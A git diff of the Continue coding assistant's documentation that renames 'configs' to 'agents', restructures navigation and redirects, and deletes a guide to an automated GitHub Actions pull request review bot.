b/docs/customize/model-roles/intro.mdx @@ -16,7 +16,7 @@ These roles can be specified for a `config.yaml` model block using `roles`. See ## Selecting model roles -You can control which of the models in your config for a given role will be currently used for that role. Above the main input, click the 3 dots and then the cube icon to expand the `Models` section. Then you can use the dropdowns to select an active model for each role. +You can control which of the models in your agent for a given role will be currently used for that role. Above the main input, click the 3 dots and then the cube icon to expand the `Models` section. Then you can use the dropdowns to select an active model for each role. diff --git a/docs/customize/overview.mdx b/docs/customize/overview.mdx index 5f1e5dbe5c1..59d8fde6835 100644 --- a/docs/customize/overview.mdx +++ b/docs/customize/overview.mdx @@ -7,7 +7,7 @@ description: "Explore Continue's advanced capabilities for power users and compl Specialized context features for codebase understanding and documentation integration. -[Browse Context Features →](/guides/understanding-configs) +[Browse Context Features →](/guides/understanding-agents) ## Deep Dives diff --git a/docs/docs.json b/docs/docs.json index 644544d1fa7..04e956748c5 100644 --- a/docs/docs.json +++ b/docs/docs.json @@ -3,7 +3,7 @@ "theme": "mint", "name": "Continue", "banner": { - "content": "Continue CLI v1.5.1 is live 🚀 Learn how you can leverage the CLI with our [MCP Cookbooks](https://docs.continue.dev/guides/overview#mcp-integration-cookbooks)", + "content": "Continue CLI v1.4.49 is live 🚀 Learn how you can [leverage the CLI with our MCP Cookbooks](/guides/overview#mcp-integration-cookbooks)", "dismissable": true }, "colors": { @@ -22,47 +22,6 @@ "icon": "rocket-launch", "pages": ["index"] }, - { - "group": "Hub", - "icon": "globe", - "pages": [ - "hub/introduction", - { - "group": "Configs", - "icon": "robot", - "pages": [ - "hub/configs/intro", - "hub/configs/use-a-config", - "hub/configs/create-a-config", - "hub/configs/edit-a-config" - ] - }, - { - "group": "Governance", - "icon": "building", - "pages": [ - "hub/governance/creating-an-org", - "hub/governance/org-permissions", - "hub/governance/pricing" - ] - }, - { - "group": "Secrets", - "icon": "key", - "pages": [ - "hub/secrets/secret-types", - "hub/secrets/secret-resolution" - ] - }, - { - "group": "Agents", - "icon": "cloud", - "pages": ["hub/agents/intro"] - }, - "hub/sharing", - "hub/source-control" - ] - }, { "group": "CLI", "icon": "terminal", @@ -131,7 +90,6 @@ { "group": "Customization", "icon": "sliders", - "expanded": false, "pages": [ "customization/overview", "customization/models", @@ -144,7 +102,6 @@ { "group": "Help", "icon": "book-open", - "expanded": false, "pages": ["faqs", "troubleshooting", "CONTRIBUTING"] } ] @@ -229,6 +186,61 @@ } ] }, + { + "tab": "Hub", + "groups": [ + { + "group": "Hub", + "pages": [ + "hub/introduction", + { + "group": "Agents", + "icon": "robot", + "pages": [ + "hub/agents/intro", + "hub/agents/use-an-agent", + "hub/agents/create-an-agent", + "hub/agents/edit-an-agent" + ] + }, + { + "group": "Blocks", + "icon": "cube", + "pages": [ + "hub/blocks/intro", + "hub/blocks/use-a-block", + "hub/blocks/block-types", + "hub/blocks/create-a-block" + ] + }, + { + "group": "Governance", + "icon": "building", + "pages": [ + "hub/governance/creating-an-org", + "hub/governance/org-permissions", + "hub/governance/pricing" + ] + }, + { + "group": "Secrets", + "icon": "key", + "pages": [ + "hub/secrets/secret-types", + "hub/secrets/secret-resolution" + ] + }, + { + "group": "Workflows", + "icon": "cloud", + "pages": ["hub/workflows/intro"] + }, + "hub/sharing", + "hub/source-control" + ] + } + ] + }, { "tab": "Guides", "groups": [ @@ -236,7 +248,7 @@ "group": "Guides", "pages": [ "guides/overview", - "guides/understanding-configs", + "guides/understanding-agents", "guides/configuring-models-rules-tools", "guides/codebase-documentation-awareness", "guides/cli", @@ -249,8 +261,7 @@ "guides/running-continue-without-internet", "guides/custom-code-rag", "guides/how-to-self-host-a-model", - "guides/notion-continue-guide", - "guides/github-pr-review-bot" + "guides/notion-continue-guide" ] }, { @@ -378,27 +389,7 @@ }, { "source": "/hub/blocks", - "destination": "/hub/introduction" - }, - { - "source": "/hub/blocks/intro", - "destination": "/hub/introduction" - }, - { - "source": "/hub/blocks/use-a-block", - "destination": "/hub/introduction" - }, - { - "source": "/hub/blocks/block-types", - "destination": "/hub/introduction" - }, - { - "source": "/hub/workflows/intro", - "destination": "/hub/agents/intro" - }, - { - "source": "/hub/blocks/create-a-block", - "destination": "/hub/introduction" + "destination": "/hub/blocks/intro" }, { "source": "/customize", @@ -1070,7 +1061,7 @@ }, { "source": "/hub/blocks/bundles", - "destination": "/hub/introduction" + "destination": "/hub/blocks/intro" }, { "source": "/customize/settings", @@ -1226,39 +1217,23 @@ }, { "source": "/hub/assistants/intro", - "destination": "/hub/configs/intro" + "destination": "/hub/agents/intro" }, { "source": "/hub/assistants/use-an-assistant", - "destination": "/hub/configs/use-a-config" + "destination": "/hub/agents/use-an-agent" }, { "source": "/hub/assistants/create-an-assistant", - "destination": "/hub/configs/create-a-config" + "destination": "/hub/agents/create-an-agent" }, { "source": "/hub/assistants/edit-an-assistant", - "destination": "/hub/configs/edit-a-config" - }, - { - "source": "/hub/agents/use-an-agent", - "destination": "/hub/configs/use-a-config" - }, - { - "source": "/hub/agents/create-an-agent", - "destination": "/hub/configs/create-a-config" - }, - { - "source": "/hub/agents/edit-an-agent", - "destination": "/hub/configs/edit-a-config" + "destination": "/hub/agents/edit-an-agent" }, { "source": "/guides/understanding-assistants", - "destination": "/guides/understanding-configs" - }, - { - "source": "/guides/understanding-agents", - "destination": "/guides/understanding-configs" + "destination": "/guides/understanding-agents" }, { "source": "/features", diff --git a/docs/faqs.mdx b/docs/faqs.mdx index 34e6ab9c70e..36b93ff778a 100644 --- a/docs/faqs.mdx +++ b/docs/faqs.mdx @@ -48,15 +48,15 @@ If you are using VS Code and require requests to be made through a proxy, you ar Continue can be used in [code-server](https://coder.com/), but if you are running across an error in the logs that includes "This is likely because the editor is not running in a secure context", please see [their documentation on securely exposing code-server](https://coder.com/docs/code-server/latest/guide#expose-code-server). -## Changes to configs not showing in VS Code +## Changes to agents not showing in VS Code -If you've made changes to a config (adding, modifying, or removing it) but the changes aren't appearing in the Continue extension in VS Code, try reloading the VS Code window: +If you've made changes to agents (adding, modifying, or removing them) but the changes aren't appearing in the Continue extension in VS Code, try reloading the VS Code window: 1. Open the command palette (`cmd/ctrl` + `shift` + `P`) 2. Type "Reload Window" 3. Select the reload option -This will restart VS Code and reload all extensions, which should make your config changes visible. +This will restart VS Code and reload all extensions, which should make your agent changes visible. ## I installed Continue, but don't see the sidebar window @@ -256,7 +256,7 @@ If you're getting parse errors with remote Ollama: 3. **Check URL format**: Ensure you're using `http://` not `https://` for local network addresses -## Local Config +## Local Agent ### Managing Local Secrets and Environment Variables @@ -318,7 +318,7 @@ If your API keys aren't being recognized: ### Using Model Addons Locally -You can leverage model addons from the Continue Hub in your local configurations using the `uses:` syntax. This allows you to reference pre-configured model blocks without duplicating configuration. +You can leverage model addons from the Continue Hub in your local agent configurations using the `uses:` syntax. This allows you to reference pre-configured model blocks without duplicating configuration. #### Requirements @@ -330,7 +330,7 @@ You can leverage model addons from the Continue Hub in your local configurations In your local `config.yaml`, reference model addons using the format `provider/model-name`: ```yaml -name: My Local Config +name: My Local Agent version: 0.0.1 schema: v1 models: @@ -344,7 +344,7 @@ models: You can combine hub model addons with local models: ```yaml -name: My Local Config +name: My Local Agent version: 0.0.1 schema: v1 models: diff --git a/docs/getting-started/extensions.mdx b/docs/getting-started/extensions.mdx index 54a490aca5a..9b38a02ee1b 100644 --- a/docs/getting-started/extensions.mdx +++ b/docs/getting-started/extensions.mdx @@ -1,6 +1,6 @@ --- -title: "Understanding Configs" +title: "Understanding Agents" description: "Continue offers two ways to configure your AI assistants" --- -This content has moved to our comprehensive guide: [Understanding Hub vs Local Configuration](/guides/understanding-configs) +This content has moved to our comprehensive guide: [Understanding Agents: Hub vs Local Configuration](/guides/understanding-agents) diff --git a/docs/guides/codebase-documentation-awareness.mdx b/docs/guides/codebase-documentation-awareness.mdx index 609970263dd..dbc03609b1d 100644 --- a/docs/guides/codebase-documentation-awareness.mdx +++ b/docs/guides/codebase-documentation-awareness.mdx @@ -1,19 +1,19 @@ --- -title: How to Make Agent mode Aware of Codebases and Documentation -description: Learn how to give your Agent mode access to codebases and documentation for more context-aware assistance +title: How to Make Your Agent Aware of Codebases and Documentation +description: Learn how to give your AI agent access to codebases and documentation for more context-aware assistance keywords: [agent, codebase, documentation, MCP, context, RAG, tools] sidebarTitle: Codebase and Documentation Awareness --- -Agent mode works best when it understands the context of your project. This guide shows you how to give agent mode access to codebases and documentation, making it more helpful and accurate. +AI coding agents work best when they understand the context of your project. This guide shows you how to give your agent access to codebases and documentation, making it more helpful and accurate. -## Make agent mode aware of your open codebase +## Make your agent aware of your open codebase -When agent mode understands your current codebase, it can provide more relevant suggestions and answers. +When your agent understands your current codebase, it can provide more relevant suggestions and answers. -### Let agent mode explore the codebase using tools +### Let your agent explore the codebase using tools -Agent mode can use built-in tools to navigate and understand your code: +Your agent can use built-in tools to navigate and understand your code: 1. **File exploration tools**: The agent can read files, search for patterns, and understand project structure 2. **Code search**: Use search to find relevant code snippets @@ -21,7 +21,7 @@ Agent mode can use built-in tools to navigate and understand your code: ### Create rules to help the agent understand your codebase -Rules guide agent mode's behavior and understanding. Place markdown files in `.continue/rules` in your project to provide context: +Rules guide your agent's behavior and understanding. Place markdown files in `.continue/rules` in your project to provide context: ```markdown # Project Architecture @@ -46,9 +46,9 @@ This is a React application with: Learn more about [rules configuration](/customize/deep-dives/rules). -## Make agent mode aware of other codebases +## Make your agent aware of other codebases -Sometimes you need agent mode to understand code beyond your current project. +Sometimes you need your agent to understand code beyond your current project. ### Public codebases @@ -71,7 +71,7 @@ When implementing auth features, reference these patterns. #### GitHub and GitLab CLIs -Enable `gh` or `glab` CLI access for agent mode to interact with repositories. +Enable `gh` or `glab` CLI access for your agent to interact with repositories. Add rules to guide CLI usage: @@ -87,9 +87,9 @@ You can use the `gh` CLI to: #### DeepWiki MCP -[DeepWiki MCP](https://hub.continue.dev/deepwiki/deepwiki-mcp) lets agent mode explore any public GitHub repository. +[DeepWiki MCP](https://hub.continue.dev/deepwiki/deepwiki-mcp) lets your agent explore any public GitHub repository. -Once configured, agent mode can explore repositories like: +Once configured, your agent can explore repositories like: - "Explore the React repository structure" - "Find how authentication is implemented in NextAuth.js" @@ -106,15 +106,15 @@ Create an MCP server that has access to your internal repositories. For faster retrieval and lower costs with very large internal codebases, consider implementing a [custom code RAG](/guides/custom-code-rag) system. This is an advanced approach that requires more setup but can provide performance benefits at scale. -## Make agent mode aware of relevant documentation +## Make your agent aware of relevant documentation -Documentation provides crucial context for agent mode to understand APIs, frameworks, and best practices. +Documentation provides crucial context for your agent to understand APIs, frameworks, and best practices. ### Public documentation #### Rules with documentation links -Guide agent mode to relevant documentation: +Guide your agent to relevant documentation: ```markdown # Documentation Resources @@ -130,9 +130,9 @@ Always cite documentation when explaining concepts. #### Context7 MCP -[Context7 MCP](https://hub.continue.dev/upstash/context7-mcp) enables agent mode to search and retrieve information from public documentation: +[Context7 MCP](https://hub.continue.dev/upstash/context7-mcp) enables your agent to search and retrieve information from public documentation: -Agent mode can then answer questions like: +Your agent can then answer questions like: - "How do I use React hooks?" - "What's the syntax for Tailwind CSS animations?" @@ -169,7 +169,7 @@ If you were previously using the `@Codebase` or `@Docs` context providers, here' The `@Codebase` context provider has been deprecated. Instead: -1. **Use built-in tools**: Agent mode can now use file exploration and search tools to understand your codebase +1. **Use built-in tools**: Your agent can now use file exploration and search tools to understand your codebase 2. **Add rules**: Create `.continue/rules` files to provide context about your project structure 3. **Use MCP servers**: For external codebases, use DeepWiki MCP or custom MCP servers @@ -181,10 +181,10 @@ The `@Docs` context provider has been deprecated. Instead: 2. **Add documentation links in rules**: Create rules that reference documentation URLs 3. **Use custom MCP servers**: For internal documentation, create an MCP server with access to your docs -The new approach provides better integration with Continue's Agent mode features and more intelligent context selection. +The new approach provides better integration with Continue's Agent features and more intelligent context selection. ## Next steps - Learn more about [MCP servers](/reference/continue-mcp) - Explore [rules configuration](/customize/deep-dives/rules) - - Set up [other custom configurations](/guides/understanding-configs) with specific knowledge domains +- Set up [custom agents](/guides/understanding-agents) with specific knowledge domains diff --git a/docs/guides/configuring-models-rules-tools.mdx b/docs/guides/configuring-models-rules-tools.mdx index 76d69e3045b..b31e6e938be 100644 --- a/docs/guides/configuring-models-rules-tools.mdx +++ b/docs/guides/configuring-models-rules-tools.mdx @@ -5,7 +5,7 @@ description: "Learn how to work with Continue's configuration system. Understand ## What Are Models, Rules, and Tools? -Continue configs are built from three main types of configuration: +Continue agents are built from three main types of configuration: @@ -35,14 +35,14 @@ Pre-built models, rules, and tools from the Continue community that you can impo ## Local -Local configurations let you create custom models, rules, and tools that automatically apply to multiple configs, reducing duplication and ensuring consistency across your setup. +Local configurations let you create custom models, rules, and tools that automatically apply to multiple agents, reducing duplication and ensuring consistency across your setup. -Applied to all configs across all workspaces. Ideal for personal preferences, universal coding standards, or tools you use everywhere. +Applied to all agents across all workspaces. Ideal for personal preferences, universal coding standards, or tools you use everywhere. -Applied automatically to all configs when working in a specific project. +Applied automatically to all agents when working in a specific project. Perfect for project-specific setups like TypeScript rules for web apps or the Playwright MCP tool. @@ -59,7 +59,7 @@ For example, to use the [Claude 4 Sonnet model](https://hub.continue.dev/anthrop Import from the hub using the `uses` syntax alongside your custom configurations: ```yaml config.yaml highlight={6} -name: Team Config +name: Team Agent version: 1.0.0 schema: v1 @@ -125,7 +125,7 @@ This pattern is inspired by GitHub Actions, where inputs provide an abstraction You can directly override properties using the `override` syntax: ```yaml title="config.yaml" highlight={10-13} -name: myprofile/custom-config +name: myprofile/custom-agent version: 1.0.0 schema: v1 @@ -161,7 +161,7 @@ models: Users then map their secret to this input using a `${{ secrets.SECRET_NAME }}` value that maps to a property name which matches the required input, e.g. `SECRET_NAME`. ```yaml title="config.yaml" highlight={8} -name: myprofile/custom-config +name: myprofile/custom-agent version: 1.0.0 schema: v1 diff --git a/docs/guides/continue-docs-mcp-cookbook.mdx b/docs/guides/continue-docs-mcp-cookbook.mdx index e3218c60561..76c4637dd8a 100644 --- a/docs/guides/continue-docs-mcp-cookbook.mdx +++ b/docs/guides/continue-docs-mcp-cookbook.mdx @@ -509,7 +509,7 @@ Want to create documentation MCPs for your own projects? Mintlify makes it easy: ### Continue Documentation - [Contributing Guide](/CONTRIBUTING) - Setup and submission process - [Continue Docs MCP Reference](/reference/continue-mcp) - MCP server details - - [Understanding Configs](/guides/understanding-configs) - How configs work +- [Understanding Agents](/guides/understanding-agents) - How agents work ### Mintlify - [MCP Generation Guide](https://www.mintlify.com/blog/generate-mcp-servers-for-your-docs) diff --git a/docs/guides/continuous-ai.mdx b/docs/guides/continuous-ai.mdx index f37da48cbcc..df98e7a2bf0 100644 --- a/docs/guides/continuous-ai.mdx +++ b/docs/guides/continuous-ai.mdx @@ -202,6 +202,6 @@ As AI capabilities continue to improve and tooling matures, we're moving toward Ready to amplify your development workflow with Continuous AI? Start with one simple automation and build from there. - Check out our guides on [Continue CLI](/guides/cli) and [Understanding - Configs](/guides/understanding-configs). + Check out our guides on [Continue CLI](/guides/cli) and [Understanding + Agents](/guides/understanding-agents). diff --git a/docs/guides/dlt-mcp-continue-cookbook.mdx b/docs/guides/dlt-mcp-continue-cookbook.mdx index 40bacb24dd0..c3460ed24d2 100644 --- a/docs/guides/dlt-mcp-continue-cookbook.mdx +++ b/docs/guides/dlt-mcp-continue-cookbook.mdx @@ -14,7 +14,7 @@ sidebarTitle: "dlt Data Pipelines with Continue" Before starting, ensure you have: - Continue account with **Hub access** - - Read: [Understanding Configs — How to get started with Hub configs](/guides/understanding-configs#how-to-get-started-with-hub-configs) +- Read: [Understanding Agents — How to get started with Hub agents](/guides/understanding-agents#how-to-get-started-with-hub-agents) - Python 3.8+ installed locally - A dlt pipeline project (or create one during this guide) - Basic understanding of data pipelines @@ -41,7 +41,7 @@ For all options, first: Skip the manual setup and use our pre-built [dlt Assistant agent](https://hub.continue.dev/dlthub/dlt-assistant) that includes - the dlt MCP and optimized data pipeline workflows for more consistent results. You can [remix this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to customize it for your specific needs. + the dlt MCP and optimized data pipeline workflows for more consistent results. You can [remix this agent](/guides/understanding-agents#how-to-get-started-with-hub-agents) to customize it for your specific needs. @@ -73,7 +73,7 @@ After ensuring you meet the **Prerequisites** above, you have two paths to get s - **Why Use the Agent?** The pre-built [dlt Assistant agent](https://hub.continue.dev/dlthub/dlt-assistant) provides consistent pipeline development workflows and handles MCP configuration automatically, making it easier to get started with AI-powered data engineering. You can [remix and customize this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) later to fit your team's specific workflow. + **Why Use the Agent?** The pre-built [dlt Assistant agent](https://hub.continue.dev/dlthub/dlt-assistant) provides consistent pipeline development workflows and handles MCP configuration automatically, making it easier to get started with AI-powered data engineering. You can [remix and customize this agent](/guides/understanding-agents#how-to-get-started-with-hub-agents) later to fit your team's specific workflow. @@ -283,7 +283,7 @@ cn -p "Check if my pipeline schema has evolved since the last run. Show me what ## Continuous Data Pipelines with GitHub Actions - This example demonstrates a **Continuous AI workflow** where data pipeline validation runs automatically in your CI/CD pipeline in headless mode using the [dlt Assistant agent](https://hub.continue.dev/dlthub/dlt-assistant). Consider [remixing this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to add your organization's specific validation rules. +This example demonstrates a **Continuous AI workflow** where data pipeline validation runs automatically in your CI/CD pipeline in headless mode using the [dlt Assistant agent](https://hub.continue.dev/dlthub/dlt-assistant). Consider [remixing this agent](/guides/understanding-agents#how-to-get-started-with-hub-agents) to add your organization's specific validation rules. ### Add GitHub Secrets @@ -293,7 +293,7 @@ Navigate to **Repository Settings → Secrets and variables → Actions** and ad - Any required database credentials for your destination - The workflow uses the pre-built [dlt Assistant agent](https://hub.continue.dev/dlthub/dlt-assistant) with `--agent dlthub/dlt-assistant`. This agent comes pre-configured with the dlt MCP and optimized rules for pipeline operations. You can [remix this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to customize the validation rules and prompts for your specific pipeline requirements. + The workflow uses the pre-built [dlt Assistant agent](https://hub.continue.dev/dlthub/dlt-assistant) with `--config dlthub/dlt-assistant`. This agent comes pre-configured with the dlt MCP and optimized rules for pipeline operations. You can [remix this agent](/guides/understanding-agents#how-to-get-started-with-hub-agents) to customize the validation rules and prompts for your specific pipeline requirements. ### Create Workflow File diff --git a/docs/guides/doc-writing-agent-cli.mdx b/docs/guides/doc-writing-agent-cli.mdx index 622641d3b0f..56c50cce9b0 100644 --- a/docs/guides/doc-writing-agent-cli.mdx +++ b/docs/guides/doc-writing-agent-cli.mdx @@ -336,8 +336,8 @@ Ready to implement automated documentation with Continue CLI? Here are some help Learn the fundamentals of using Continue CLI for automated coding tasks and headless workflows. - - Discover how to configure and customize AI configs for your specific documentation needs. + + Discover how to configure and customize AI agents for your specific documentation needs. diff --git a/docs/guides/github-mcp-continue-cookbook.mdx b/docs/guides/github-mcp-continue-cookbook.mdx index 8ca9a83c0b0..65ea7a3efca 100644 --- a/docs/guides/github-mcp-continue-cookbook.mdx +++ b/docs/guides/github-mcp-continue-cookbook.mdx @@ -17,7 +17,7 @@ sidebarTitle: "GitHub Issues with Continue" Before starting, ensure you have: - Continue account with **Hub access** - - Read: [Understanding Configs — How to get started with Hub configs](/guides/understanding-configs#how-to-get-started-with-hub-configs) +- Read: [Understanding Agents — How to get started with Hub agents](/guides/understanding-agents#how-to-get-started-with-hub-agents) - Node.js 22+ installed locally - A GitHub account and a repository to work with - A GitHub token with the appropriate scopes: diff --git a/docs/guides/github-pr-review-bot.mdx b/docs/guides/github-pr-review-bot.mdx deleted file mode 100644 index 4609da38426..00000000000 --- a/docs/guides/github-pr-review-bot.mdx +++ /dev/null @@ -1,504 +0,0 @@ ---- -title: "Code Review Bot with Continue and GitHub Actions" -description: "Set up automated, context-aware pull request reviews using Continue CLI in GitHub Actions - privacy-first with custom rules" -sidebarTitle: "Pull Request Review Bot" ---- - - - An automated pull request review system that: - - Reviews code automatically when pull requests open or update - - Applies your team's custom rules and standards - - Runs in your GitHub Actions runner (code is sent directly to your configured LLM) - - Posts actionable feedback as pull request comments - - Responds to interactive review requests - - -## Why This Approach? - - - - All logs and processing happen in your runner: Continue CLI runs in GitHub Actions → code to your LLM provider (OpenAI, Anthropic, etc.). No hosted Continue service reads your code. - - - - - Define team-specific rules in `.continue/rules/` that automatically apply to every pull request. - - - - - Leverage Continue's AI agent for intelligent, context-aware reviews with full control over your configuration. - - - - -## Prerequisites - -Before starting, ensure you have: - -- A GitHub repository with pull requests -- Continue account with **Hub access** - - Read: [Understanding Configs](/guides/understanding-configs) -- A Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys) -- Continue assistant configured for code reviews (or use our recommended default) - -## Quick Setup (10 Minutes) - - - - - - Navigate to your repository settings: **Settings → Secrets and variables → Actions** - - **Required Secrets:** - - `CONTINUE_API_KEY` - Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys) - - **Optional (for better permissions):** - - **Variables** tab: `APP_ID` - GitHub App ID (for enhanced API rate limits) - - **Secrets** tab: `APP_PRIVATE_KEY` - GitHub App private key - - - - For better rate limits and permissions, create a GitHub App: - - 1. Go to Settings → Developer settings → GitHub Apps → New GitHub App - 2. Set permissions: - - **Contents**: Read - - **Pull Requests**: Write - - **Issues**: Write - 3. Generate a private key - 4. Install the app on your repository - 5. Add `APP_ID` as a repository **variable** (Variables tab) - 6. Add `APP_PRIVATE_KEY` as a repository **secret** (Secrets tab) - - Without a GitHub App, the action will use the default `GITHUB_TOKEN`. - - - - - - - Create a GitHub Actions workflow file at `.github/workflows/code-review.yml` with the provided configuration. - -```yaml -name: Continue Code Review - -on: - pull_request: - types: [opened, synchronize, ready_for_review] - issue_comment: - types: [created] - -permissions: - contents: read - pull-requests: write - issues: write - -jobs: - review: - runs-on: ubuntu-latest - # Only run on PRs or when @review-bot is mentioned - if: | - github.event_name == 'pull_request' || - (github.event_name == 'issue_comment' && contains(github.event.comment.body, '@review-bot')) - - steps: - - uses: actions/checkout@v4 - with: - fetch-depth: 0 # Full history for better context - - # Optional: Use GitHub App token for better rate limits - - name: Generate App Token - id: app-token - if: vars.APP_ID != '' - uses: actions/create-github-app-token@v1 - with: - app-id: ${{ vars.APP_ID }} - private-key: ${{ secrets.APP_PRIVATE_KEY }} - - - name: Setup Node.js - uses: actions/setup-node@v4 - with: - node-version: '20' - - - name: Install Continue CLI - run: npm i -g @continuedev/cli - - - name: Get Pull Request Details - id: pr - env: - GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }} - run: | - # Get pull request number and details - if [ "${{ github.event_name }}" = "pull_request" ]; then - PR_NUMBER=${{ github.event.pull_request.number }} - else - PR_NUMBER=$(jq -r .issue.number "$GITHUB_EVENT_PATH") - fi - - echo "pr_number=$PR_NUMBER" >> $GITHUB_OUTPUT - - # Get pull request diff - gh pr diff $PR_NUMBER > pr.diff - - # Get changed files - gh pr view $PR_NUMBER --json files -q '.files[].path' > changed_files.txt - - - name: Run Continue Review - env: - CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} - GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }} - run: | - # Check if custom rules exist - if [ -d ".continue/rules" ]; then - echo "📋 Found custom rules in .continue/rules/" - RULES_CONTEXT="Apply the custom rules found in .continue/rules/ directory." - else - echo "ℹ️ No custom rules found. Using general best practices." - RULES_CONTEXT="Review for general best practices, security issues, and code quality." - fi - - # Build review prompt - PROMPT="Review this pull request with the following context: - - ## Changed Files - $(cat changed_files.txt) - - ## Diff - \`\`\`diff - $(cat pr.diff) - \`\`\` - - ## Instructions - $RULES_CONTEXT - - Provide: - 1. A brief summary of changes - 2. Key findings (potential issues, security concerns, suggestions) - 3. Positive observations (good practices, improvements) - 4. Specific actionable recommendations - - Format as markdown suitable for a GitHub pull request comment." - - # Run Continue CLI in headless mode - cn --config continuedev/code-reviewer \ - -p "$PROMPT" \ - --auto > review_output.md - - - name: Post Review Comment - env: - GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }} - run: | - # Add header - cat > review_comment.md <<'EOF' - ## 🤖 AI Code Review - - EOF - - # Add review content - cat review_output.md >> review_comment.md - - # Add footer - cat >> review_comment.md <<'EOF' - - --- - *Powered by [Continue](https://continue.dev) • Need a focused review? Comment `@review-bot check for [specific concern]`* - EOF - - # Check for existing review comment - EXISTING_COMMENT=$(gh pr view ${{ steps.pr.outputs.pr_number }} \ - --json comments -q '.comments[] | select(.body | contains("🤖 AI Code Review")) | .id' | head -1) - - if [ -n "$EXISTING_COMMENT" ]; then - echo "Updating existing comment..." - gh api --method PATCH \ - "repos/${{ github.repository }}/issues/comments/$EXISTING_COMMENT" \ - -f body="$(cat review_comment.md)" - else - echo "Creating new comment..." - gh pr comment ${{ steps.pr.outputs.pr_number }} \ - --body-file review_comment.md - fi -``` - - - - -Define your team's standards in `.continue/rules/`: - - - - - Create `.continue/rules/security.md`: - -```markdown ---- -globs: "**/*.{ts,tsx,js,jsx,py}" -description: "Security Review Standards" -alwaysApply: true ---- - -# Security Checklist - -- No hardcoded credentials, API keys, or secrets -- All user inputs are validated and sanitized -- SQL queries use parameterization (no string concatenation) -- Authentication and authorization checks are in place -- Sensitive data is properly encrypted -- Error messages don't leak sensitive information -``` - - - Create `.continue/rules/typescript.md`: - -```markdown - --- - globs: "**/*.{ts,tsx}" - description: "TypeScript Best Practices" - --- - - # TypeScript Standards - - - Use strict type checking (avoid `any` types) - - Prefer interfaces for object shapes - - Use proper error handling with typed errors - - Document complex types with JSDoc comments - - Export types for public APIs - - Use const assertions where appropriate -``` - - -Create `.continue/rules/testing.md`: - -```markdown ---- -globs: "**/*.{test,spec}.{ts,tsx,js,jsx}" -description: "Testing Requirements" ---- - -# Testing Guidelines - -- Write tests for new features and bug fixes -- Test both happy paths and error conditions -- Use descriptive test names that explain intent -- Keep tests focused and isolated (no shared state) -- Mock external dependencies -- Aim for meaningful assertions, not coverage metrics -``` - - -Create `.continue/rules/python.md`: - -```markdown ---- -globs: "**/*.py" -description: "Python Code Standards" ---- - -# Python Best Practices - -- Follow PEP 8 style guidelines -- Use type hints for function signatures -- Write docstrings for public functions/classes -- Use context managers for resource management -- Prefer list comprehensions for simple transformations -- Handle exceptions explicitly, avoid bare except -``` - - - - -## How It Works - -The workflow follows these steps: - -1. **Pull Request Created/Updated** - A pull request is opened or synchronized -2. **Workflow Triggered** - GitHub Actions workflow starts automatically -3. **Load Custom Rules** - Reads your team's rules from `.continue/rules/` -4. **Get Pull Request Diff** - Fetches the diff and list of changed files -5. **Continue CLI Analyzes Code** - AI agent reviews the code with your rules -6. **Post or Update Review Comment** - Creates or updates a single PR comment with feedback - -## Interactive Commands - -Comment on any pull request to trigger focused reviews: - -``` -@review-bot check for security issues -@review-bot review the TypeScript types -@review-bot explain the architecture changes -@review-bot focus on error handling -``` - -The workflow will respond with a targeted review based on your request. - -## Advanced Configuration - - - - By default, the workflow uses the `continuedev/code-reviewer` config optimized for code reviews. Replace `continuedev/code-reviewer` with your own config: - - ```yaml - - name: Run Continue Review - env: - CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} - CONTINUE_ORG: your-org-name # Add your org - CONTINUE_CONFIG: username/config-name # Add your config - run: | - cn --config $CONTINUE_ORG/$CONTINUE_CONFIG \ - -p "$PROMPT" \ - --auto > review_output.md - ``` - - Store `CONTINUE_ORG` and `CONTINUE_CONFIG` as repository variables for easy updates. - - - - Only review specific file types in pull requests: - - ```yaml - on: - pull_request: - types: [opened, synchronize, ready_for_review] - paths: - - '**.ts' - - '**.tsx' - - '**.py' - - '**.go' - ``` - - - - - Skip large pull requests that would be expensive to review: - - ```yaml - - name: Check PR Size - id: size-check - env: - GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }} - run: | - ADDITIONS=$(gh pr view ${{ steps.pr.outputs.pr_number }} --json additions -q .additions) - DELETIONS=$(gh pr view ${{ steps.pr.outputs.pr_number }} --json deletions -q .deletions) - TOTAL=$((ADDITIONS + DELETIONS)) - - if [ $TOTAL -gt 1000 ]; then - echo "skip=true" >> $GITHUB_OUTPUT - echo "⚠️ Pull request too large for automatic review ($TOTAL lines changed)" - else - echo "skip=false" >> $GITHUB_OUTPUT - fi - - - name: Run Continue Review - if: steps.size-check.outputs.skip != 'true' - # ... rest of review step - ``` - - - -## Troubleshooting - - -- The workflow installs the CLI automatically, but ensure Node.js 20+ is available -- Check the "Install Continue CLI" step logs for errors - - -- Verify your `CONTINUE_API_KEY` is valid -- Check that GitHub token has required permissions - - -- Verify your Continue config is accessible -- Check Continue CLI logs in the workflow run -- Try running locally: `cn -p "Test prompt" --auto` - - -- Ensure `pull-requests: write` permission is set -- Verify GitHub token has scope to comment on pull requests -- Check if the repository requires signed commits - - - - -## Example Output - -Here's what a typical review comment looks like: - -> ## 🤖 AI Code Review -> -> ### Summary -> This pull request introduces a new user authentication system with JWT tokens and password hashing. The implementation follows security best practices with a few minor suggestions. -> -> ### Key Findings -> -> **Security** ✅ -> - Password hashing properly implemented with bcrypt -> - JWT tokens include appropriate expiry -> - Input validation present for all endpoints -> -> **Code Quality** 💡 -> - Consider adding rate limiting to login endpoint -> - The `secretKey` should be loaded from environment variables, not hardcoded -> - Add unit tests for token expiration edge cases -> -> ### Positive Observations -> - Good separation of concerns with middleware pattern -> - Clear error messages for authentication failures -> - Proper async/await usage throughout -> -> ### Recommendations -> 1. Move `secretKey` to environment variables (see `.continue/rules/security.md`) -> 2. Add rate limiting middleware to prevent brute force attacks -> 3. Consider adding integration tests for the auth flow -> 4. Document the JWT payload structure -> -> --- -> *Powered by [Continue](https://continue.dev) • Need a focused review? Comment `@review-bot check for security`* 